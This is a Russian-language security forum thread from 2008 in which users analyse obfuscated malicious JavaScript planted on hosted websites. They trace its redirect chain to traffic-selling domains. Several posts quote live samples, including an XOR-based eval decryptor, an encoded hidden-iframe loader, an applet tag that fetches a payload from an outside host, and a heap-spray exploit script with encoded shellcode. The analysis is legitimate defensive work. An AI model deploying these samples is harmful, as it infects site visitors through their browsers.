Сейчас на форуме: tyns777, zombi-vadim (+3 невидимых) |
![]() |
eXeL@B —› Программирование —› Помогите понять кусочек ява-скрипта |
. 1 . 2 . >> |
Посл.ответ | Сообщение |
|
Создано: 04 марта 2008 14:28 · Поправил: ToBad · Личное сообщение · #1 Нашёл гадостный код в html спрятанный с помощью eval(unescape(. Часть удалось расшифровать, а часть ещё в процессе. Возникли трудности с пониманием куска приведенного ниже. Вопрос собственно в том какой код должна выполнить eval ? function lOaC(tFne){
![]() |
|
Создано: 04 марта 2008 14:58 · Поправил: [HEX] · Личное сообщение · #2 Ну replace(/[qkBA0]/g,'') Это замена с помощью регулярки. Тоесть из строки удаляются все перечисленные буквы. В итоге из строчки akrkgAuBmqe0n0t0sk.qc0aklBl0eqek получаем arguments.callee arguments.callee.toString() - это текст функции в которой эта строка и выполнилась. Опять замена регуляркой replace(/[^@a-z0-9A-Z_.,-]/g,'') - убивает все что не перечислено в списке. Дальше через запятую это присвоение, определение и снова присвоение. С функцией думаю разберешся сам? Там ничего спецефичного нет. Если сам не осилишь, то приводи целиком функцию в которой это хозяйство. А вообще можно не заморачиваться с пониманием, а тупо вместо eval() подставить alert() и тогда код не выполниться, а выведеться в окошке (в Опере сообщение алерта можно скопировать). ----- Computer Security Laboratory ![]() |
|
Создано: 04 марта 2008 16:12 · Поправил: ToBad · Личное сообщение · #3 Изначально в появившемся на ftp сервере файле haitou.php код был такой: <?php
После замены первого eval на alert код стал таким: <code>function pZtqUm(teGg){ function lOaC(tFne){ var yGULXdv=0, gySLH, esZs=tFne.length; for(gySLH=0;gySLH<esZs;gySLH++) yGULXdv+=tFne.charCodeAt(gySLH)*esZs; return new String(yGULXdv)} teGg=unescape(teGg); var hSJIR=eval('akrkgAuBmqe0n0t0sk.qc0aklBl0eqek'.replace(/[qkBA0]/g, '')).toString().replace(/[^@a-z0-9A-Z_.,-]/g,''),iTPQx=lOaC(hSJIR),fnn wb=new String(),nCp=0; zBI=0; for(var aJac=0;aJac<teGg.length;aJac++){ fnnwb+=String.fromCharCode(teGg.charCodeAt(aJac)^(hSJIR.charCodeAt(nCp )^iTPQx.charCodeAt(zBI))); nCp++; zBI++; if(nCp>hSJIR.length) nCp=0; if(zBI>iTPQx.length) zBI=0;} eval(fnnwb); fnnwb=''; return;} pZtqUm('%32%30%38%35..../сокращено/....%73%2d%32'); А вот дальше если заменять последний eval на alert - получается бред.... Полная версия во вложении. ![]() |
|
Создано: 04 марта 2008 16:17 · Личное сообщение · #4 |
|
Создано: 04 марта 2008 17:09 · Личное сообщение · #5 <?php
Это примитивный бэкдор он же шелл на пхп и никак не связан с явоскриптой. А вот каша при расшифровке получается потому что длина меняется строки после замены eval() на alert() ! А длина тут участвует в дешифровке. Так что надо ручками фиксить этот недочет. Если что получится я напишу. ----- Computer Security Laboratory ![]() |
|
Создано: 04 марта 2008 17:43 · Личное сообщение · #6 Писателю данного шифровщика мои аплодисменты. Пока это первый яваскрипт над котором пришлось ручками поработать и головой, а не тупой заменой на alert() ![]() В общем вот скрипта расшифрованая. ![]() ----- Computer Security Laboratory ![]() |
|
Создано: 04 марта 2008 17:45 · Личное сообщение · #7 |
|
Создано: 04 марта 2008 17:55 · Личное сообщение · #8 Опоздал я с постом... [HEX] - спасибо за скриптик ! Если в двух словах, то многие обнаружили у себя на ftp серверах файл haitou.php по моему 28.02.2008... Гугл расскажет подробней. Не понятен принцип зачем такой скрипт засылать на халявный хостинг на narod.ru либо chat.ru... Ну и конечно удивляет массовость... Люди пишут что пароли к фтп были сложные... Интересно всё это. Кстати поиск в гугле eval(unescape( показывает вполне нормальные странички заражённые этим, например h..p://www.colorsky.ru То есть весь предыдущий код нужен для получения и выполнения функции из вложения ? А если в двух словах, то что делает этот вирь ? ![]() |
|
Создано: 04 марта 2008 18:08 · Поправил: [HEX] · Личное сообщение · #9 ToBad упс... ступил =) но чувствую что могло и не прокатить если кроме длины участвует и каждый символ при расшифровке (типа хэша вычисляется от всего кода и потом этим хэшом расщифровывается переданая строка). Я востановил все как положено и получил "хэш" и уже дальше работал с этим хэшом. Я попытался вникнуть в скрипт и особо ничего вредного в нем не обнаружил кроме как заруливания трафика с помощью ифрейма и создания куки с пометкой инсталлирован или нет. Вся метода запутывания тут сводиться к тупому замусориванию строчек и этот мусор убирается регуляркой. Так что если в человеческий вид захочешь привести, то замени строчки на нормальные и будет проще читать. Коды на фтп сложные, но пинчей хватают многие, а тут уж какой бы пароль небыл все равно уплывет. Одну подобную админку выцепил. Возможно имеет к этому какое то дело hxxp://shivaom.net/classes/ Ну и 2traff.cn думаю тут тоже замешан. ----- Computer Security Laboratory ![]() |
|
Создано: 04 марта 2008 18:17 · Личное сообщение · #10 |
|
Создано: 04 марта 2008 18:25 · Личное сообщение · #11 |
|
Создано: 04 марта 2008 18:34 · Личное сообщение · #12 ToBad Может конечно и админ хостинга, но что то меня терзают смутные сомнения что народ.ру хранит пароли открытым текстом ![]() А кроме админа народа знает пароль наверное сам создатель сайта (тоесть ты сам). Так что смысл понимаешь кто мог подцепить пинча? В итоге получаем сцыль на следующего формата hxxp://localhost.7d556ec17a92a7fb.2traff.cn/traff2.cn/ localhost - это имя задефейсеного хоста, потом случайная компбинация 0-9a-f, 2traff.cn/traff2.cn/ Ну а там уже пытаються впарить тебе говно по самые помидоры ![]() ----- Computer Security Laboratory ![]() |
|
Создано: 04 марта 2008 18:54 · Личное сообщение · #13 [HEX] пишет: А кроме админа народа знает пароль наверное сам создатель сайта (тоесть ты сам). Так что смысл понимаешь кто мог подцепить пинча? Я не спорю, что мог подцепить пинча, просто не сходится кое что. У меня все ftp вбиты в фаре, в открытом виде, естественно пинч их увёл бы, а кроме 2-х на народе и одного на чате было и семь нормальных ftp серверов. Это г. завелось только на народе и чате... ![]() |
|
Создано: 04 марта 2008 19:32 · Личное сообщение · #14 ToBad Кто то мог продать левые сайты (3 уровня) по дешевке. У них же бизнес на всем! Кто то отчеканые списки продает, кто то трафик. Ну а кто то покупает трафик или списки чтобы потом приумножить это хозяйство с помощью приватного сплойта. В общем деньги делаются на всем. Я конечно не исключаю факт взлома народа, но как то мне оно собо не вериться. Об этом уже в инет новостях растрезвонили бы. ----- Computer Security Laboratory ![]() |
|
Создано: 04 марта 2008 20:24 · Личное сообщение · #15 |
|
Создано: 05 марта 2008 10:23 · Личное сообщение · #16 А что сделает этот код? <script language=javascript> document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67 %65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E% 20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%7 3%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B %20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E% 6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6 F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74 %28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31% 2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%7 3%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264 Djgsbnf%2631xjeui%264E2%2631ifjhiu%264E2%2631tuzmf%264E%2633cpsefs%264 B%26311qy%264C%2633%2631tsd%264E%2633iuuq%264B00xxx/hpphmf.tubujtujd/d o0joefy/qiq%264Gxnje%264E%3A7%2633%264F%264D0jgsbnf%264F1') </script> ----- Nulla aetas ad discendum sera ![]() |
|
Создано: 05 марта 2008 11:10 · Личное сообщение · #17 |
|
Создано: 05 марта 2008 11:31 · Личное сообщение · #18 |
|
Создано: 05 марта 2008 11:56 · Поправил: RUNaum · Личное сообщение · #19 Malware/spyware. > Exploit loading SpySnipe spyware: > hxxp://www.google-statistic.cn/wmid=93 google-statistic.CN - не гугловский ресурс, фейк. -- Относительно ТС. Информация собрана по крупицам + проверена. вирус работает только под IE. по user-agent проверяется какой браузер, срабатывает только под IE/клонами, если отлаживать под фоксом, придется менять user-agent в конфиге. одназначно устанавливает куки дабы потом ему не напрягатся и каждый раз запрашивать данные с левого сервера, вот почему при повторных попытках запрос к серверу не происходит. Далее, при первом запросе идет скрытая подгрузка с адреса hxxp://XXX.YYY.2traff.cn/traff2.cn/ XXX - localhost, как видно из скрипта YYY - рандом (hex) По этому адрес возращается шапка с параметром "Location hxxp://updates.4traff.cn/updates/index.php" соответсвенно редирект. Напоминаю, что ответ на редирект будет происходить при условии, что сервер опознает браузер как IE. происходит редирект, и подгрузка со следующих адресов: hxxp://updates.4traff.cn/updates/javac.php hxxp://updates.4traff.cn/updates/com.php по первому делается попытка внедрения опасного апплета на невидимую загрузку тела вируса, находящегося по адресу hxxp://updates.4traff.cn/updates/load.php Код: <applet archive="java.php" code="BaaaaBaa.class" width=1 height=1><param name="url" value="http://updates.4traff.cn/updates/load.php"></applet><meta HTTP-EQUIV="REFRESH" content="2; URL=com.php"> По второму, на всякий случай, наверное, внедряется еще javascript код, наверное использующий какую-то другую уязвимость: Код: <script> x=unescape("%wuz9z0U9U0q%tuq9w0z9U0U%zuU1w8w6UAq%wut6t4U5qBq%quq0q3U8t Bz%UuU4z0z8tBz%zuw8zBz3w0t%tuq1U8U4U0t%wut5U8q0U5U%quq0z0U0z1z%tuz3z3q 0t0t%Uuw8q9wDz2w%UuU8z9q1t0q%tuw0z4z5w0z%tuU5q0w8z9U%wuq8q9z0w8z%Uuw0z Cw5w0w%zutCU0U8t3w%wuU8q9z2t8z%zut8z9q0t0q%tuz0U4z4q0w%tuqCw0t8w3z%tuw 6z6U0U8U%Uuq7t8q3zDt%Uut7tCz0w5q%zut8wBzFU2w%UuU8q1qDz8q%zuz9U0UCt3U%w uw0q0t0w0U%UuU8w9U0U0w%wuU3z3U1q8w%zut8q3UDq2z%quq0z4zCq0U%tut1U0q8q9q %quqCt0w8q3U%UuU8w1z0q4w%zut8w0tCU3z%wuq0U0t0q0w%Uut8z9t0U0U%tuz3z3w1U 8t%tuU8w9UCq0t%zuq8q3q0w3q%tut0w4tCU3t%Uuw8z1z6U6q%Uuq8U8qFzBz%zut7zCU 1tEU%zuU8UBtFz4t%tuz8z1wDq3z%wuw7U0UEqBw%Uuw0U0t1zEz%tuU6U6t0z0w%tuq3w 3w8zBw%wuU8U9t6q6q%zut4z2U3w2z%zuwCq6U4t2q%tuU0q8z0z2w%Uut6t6z4z2q%zuq 3t2z8qBq%quq3w1z6z6t%wut4w2q3t2U%wuwCt6w4w2q%zuU1z4z0U2t%Uut6w6q4U2U%U uq3t2q8UBw%tuw3t1q6t6z%quU4t2U3q2q%quq6z6t4U2q%UuzCU3w8q1U%quU0w1q6t0t %Uuz1q3z8z9q%wuz5w3q8w9q%tuz8U9q0t4t%tuw8U9w1wAU%tut0z4t5wAz%wuz9U0U9w 0z%qut9U0z9w0q%tuU9w0U9t0q%Uut0qfteqbq%quz3q3z5Ubt%Uuw6q6Ucq9w%tuw8z0t bU9U%quz8t0w0t1U%tuUeqfq3q3z%tuUez2t4q3U%quqeqbUfUaz%zuwet8z0w5U%quzfq fzeqcU%wuzfqfUfUfU%quw8wbU7qfw%zutdtfU4qeU%tuzezfwezfw%quz6t4weqfq%wuU eU3Uaqfw%Uuq9tfU6w4t%qut4q2wfz3z%Uuw9zfU6w4w%quz6zewez7z%zuqeqfz0q3t%q uUewfqetbt%wuq6U4zeUfq%wuqbU9z0U3q%quz6w1q8z7U%quUeq1UaU1w%Uut0U7U0U3t %zuUeUfU1z1z%wuzetfqewfz%quwawaU6t6z%quwbU9tetbq%wut7t7q8w7q%zut6q5U1w 1z%tuw0z7qeq1w%zutetfq1wfU%Uuqezftetfq%UuqaUat6q6z%tutbU9wew7t%UuUcUat 8z7q%wuU1t0t5tfU%Uuq0w7t2wdz%zuteUfq0tdU%wuUewfUeUfU%Uuqawaq6q6q%quUbz 9zez3z%qut0q0w8U7t%Uuw0UfU2z1q%tut0w7t8Ufw%tuzeUfU3tbq%tuzewfUezfU%Uuw azaU6t6t%wuqbU9wfUfz%wuU2UeU8q7w%zuw0Uaq9q6U%zuw0z7U5t7t%wuzewfw2w9w%U uzetftezfw%wuUataz6U6w%quUatfUftbw%quqdq7z6Uft%quw9waq2Ucq%qut6U6q1w5U %quUfz7qataq%wutez8w0q6U%wuzewfqeqeq%Uuqbq1qeqfU%Uuq9waU6U6w%zuU6U4Uct bq%tuqetbtataw%zuqewet8U5q%quw6z4zbU6t%tuwfw7tbqaz%quq0w7tbU9w%tuteUfz 6t4U%quzetfUewfq%UuU8q7wbqfw%wutfz5tdt9w%wuU9zfzcz0U%wuz7w8w0z7q%Uuqet fUewft%Uut6q6qewfU%tutfz3zataq%quq2UaU6t4q%UuU2zfz6zcz%tut6z6zbqfz%tut cqfwawaw%tuz1w0t8z7t%Uuwewfqewft%zuUbwfteqfU%quzaqaU6z4w%qut8z5zfUbU%U uqbt6wewdU%Uuwbtaq6q4w%Uut0t7zft7z%qutetft8Uez%quwetftetfq%wuwatateqcU %Uuq2q8Ucwfz%Uuzbz3zetfq%wutcU1U9t1t%quz2q8U8UaU%zuzewbtaUfq%wut8tat9U 7q%wuqeqfteqfw%quq9taw1q0q%zuw6U4tcUfU%quUez3zaUat%Uuteqew8q5q%quz6w4q bU6w%tutfU7tbtat%quzatfw0q7q%quteqftewfq%tuU8t5tetft%UuUbU7weU8w%tuqaz azezct%tuqdqcUcwbt%tuzbqcq3t4q%Uuz1z0tbwcz%quUcqfw9UaU%quqbqcqbqfq%wuq azaU6t4t%quU8U5zfU3U%quUbz6zewaw%Uuwbzaw6z4U%tuU0U7qfq7q%qutetftcqcz%q uzeUftezfU%quzezfq8U5U%wuz9qaw1U0q%tuU6t4qcqfw%UuteU7taUaq%quzetdw8q5q %zuz6U4zbU6t%wutfU7Ubzaz%quwfqfz0U7q%quqezftewfw%tuq8t5wewfU%wuU6z4t1z 0w%UuzftfUaqaq%Uutetez8t5q%tuU6z4wbU6q%tuwfU7zbwaw%qutetfU0q7w%quwetfq ezft%wuqazeqeUft%quqbqdqbU4t%qut0zeUetcU%zut0Uetetcq%wut0weqeUcq%zuz0z ezetct%tuU0q3U6tcw%zuUbt5qewbz%quU6z4zbqcw%tuU0Udt3t5t%tuzbzdw1w8U%wuw 0Ufw1U0t%zuw6t4wbqaq%quw6q4w0z3t%quwet7w9z2q%zuzbq2w6q4z%zuwbw9tew3U%z uU9tcz6t4w%Uuw6q4tdq3U%zuUfU1t9zbq%tuwetct9z7q%tutbt9U1qcz%zuU9q9z6t4w %tuweqctcqft%wutdqcz1qct%tuqaz6z2w6w%wuw4q2qaUeq%Uuq2tczeUct%UuUdqczbw 9w%quUet0q1U9U%quzftfU5w1q%zuq1zdtdt5z%quteU7w9zbt%tuq2U1q2weq%tuzeUcU eq2t%Uuzatfz1qdU%wut1zeU0q4t%Uut1t1qdz4z%quU9taqbU1q%tuUbw5t0zaw%zuq0z 4t6t4z%UuzbU5U6z4U%quqewctczbw%UuU8t9t3t2q%Uuwew3z6w4w%quU6U4zaw4w%tut fU3qbU5t%tuz3q2zewcU%Uutetbw6q4z%qutezcq6w4q%zuwbq1w2tat%qut2UdqbU2q%U uqewfqet7z%wuU1wbq0t7w%qut1t0t1z1U%quUbtat1w0t%tuUaw3tbUdw%zuzat0waz2U %zuwetfUaU1z%zuw7w4U6q8U%zuw7q0q7t4z%Uuq2Ufw3Uat%tuw6q4t2wft%tuq7t6w6z 5q%zuU6t1U2UeU%wuq7q2z6q5q%tuU3w4t6UfU%UuU6w3w2qew%wuz2zfq6weq%zuU6U4U 6q1q%wuw6t1q7q0w%Uuz6zbq6q3t%tuz6zcz2tfz%zuw6w1t6Ufw%zuq2tet6t4z%zuw6U 8t7t0t%qut0z0t7t0q%tuU0t0z0z0q".replace(/[zwqUt]/g, '')); tu=unescape("%1u10OdO01dO%XuO0od101d1".replace(/[1oXOW]/g, '')); var memz=parseInt("0NxNdE0%dr0%dE0%dE".replace(/[E%rNF]/g, '')); while(tu.length<0x40000) tu+=tu; tu=tu.substring(0,parseInt("0ux83Ifuf8eu4I".replace(/[Q6Iu8]/g, ''))-x.length); o=new Array(); for(i=0;i<450;i++) o[i]=tu+x;z=Math.ceil(memz); var nbqnb =("C%LASVIeDA:eEeCs4e4V4sC%BA6e-A3sEs7VEs-A4%8%6e5A-VBA1%Ce3V-%0VD%EV7 %2sEeFV3A9sBs3AFV".replace(/[sVeA%]/g, '')); document.write("<%oRb%j%eRcztR %cwlza%s%sziwdz=w"%n~bzq~n~bz"z>R<%/~oRbwjze~c%tw>w".replace(/[Rz%w~]/ g, '')); eval("zj=jdjo%cUuymje%nMtj.ysycUrjiUpUtjsy[j0U]M.jc%rMe%a%tUeyCMo%nMtM rjo%l%RMajn%gje%(j)M.MlUe%nMgytjhU".replace(/[jU%yM]/g, '')); </script> ![]() |
|
Создано: 05 марта 2008 13:03 · Личное сообщение · #20 |
|
Создано: 05 марта 2008 13:29 · Поправил: [HEX] · Личное сообщение · #21 RUNaum Тоже самое и я писал ![]() Кроме 2traff.cn по той же методе работают hxxp://shivaom.net/classes/ ToBad Подобная метода уже давно практикуется! Так что чтобы цепануть вирус не обязательно ходить по порно/кряко сайтам. Достаточно просто походить по инету с помощью IE (на мозилу с оперой как то меньше сплойтев). ----- Computer Security Laboratory ![]() |
|
Создано: 05 марта 2008 17:00 · Личное сообщение · #22 |
|
Создано: 21 марта 2008 06:50 · Личное сообщение · #23 |
|
Создано: 21 марта 2008 21:28 · Личное сообщение · #24 |
|
Создано: 21 марта 2008 22:13 · Личное сообщение · #25 |
|
Создано: 21 марта 2008 22:26 · Личное сообщение · #26 UsAr пишет: есть такая программка malzilla, написанная специально для раскриптовки таких скриптов Я щас копаюсь в этом скрипте (расшифровывал вручную), он использует для расшифровки финального кода который eval-иться в конце, как ключ сам себя, если переименовать переменные, расшифруется не правильно. Так что сначало нужно взять строку ключа чтобы использовать в скрипте. ![]() |
|
Создано: 21 марта 2008 22:37 · Личное сообщение · #27 scripter Там не длина, а само содержимое участвует в дишфровке. Если изменишь код, то и не расшифруешь. Если расматривать пример ToBad, то в начале топика он постил кусок кода function lOaC(tFne) Вот он и вычисляет типа хэша от шифрованого кода, а потом с помощью этого хэша и расшифровывает код. Так что тут нужно всего лишь вычислить реальный хэш не меняя скрипта ![]() UsAr Интересно. Нужно посмотреть на досуге. Надеюсь он не исполняет код, а только имеет какую то логику по дешифрации подобных скриптов иначе может где то глюкнуть и прощай система, здравствуй ботнет. ----- Computer Security Laboratory ![]() |
|
Создано: 21 марта 2008 22:38 · Поправил: [HEX] · Личное сообщение · #28 arnix Все верно. Код менять нельзя иначе жопа. ![]() 4t Ошибся топиком. Тут JS разбираем, а не пинчи (наверное). Тебе сюда http://exelab.ru/f/action=vthread&forum=2&topic=6500 ----- Computer Security Laboratory ![]() |
|
Создано: 21 марта 2008 22:53 · Поправил: arnix · Личное сообщение · #29 вот, расшивровал, если кому-то интересно (так легче продолжить исследование) ![]() p.s пароль: danger + unescape('%20%20%20'); ![]() ![]() |
|
Создано: 21 марта 2008 23:12 · Личное сообщение · #30 |
. 1 . 2 . >> |
![]() |
eXeL@B —› Программирование —› Помогите понять кусочек ява-скрипта |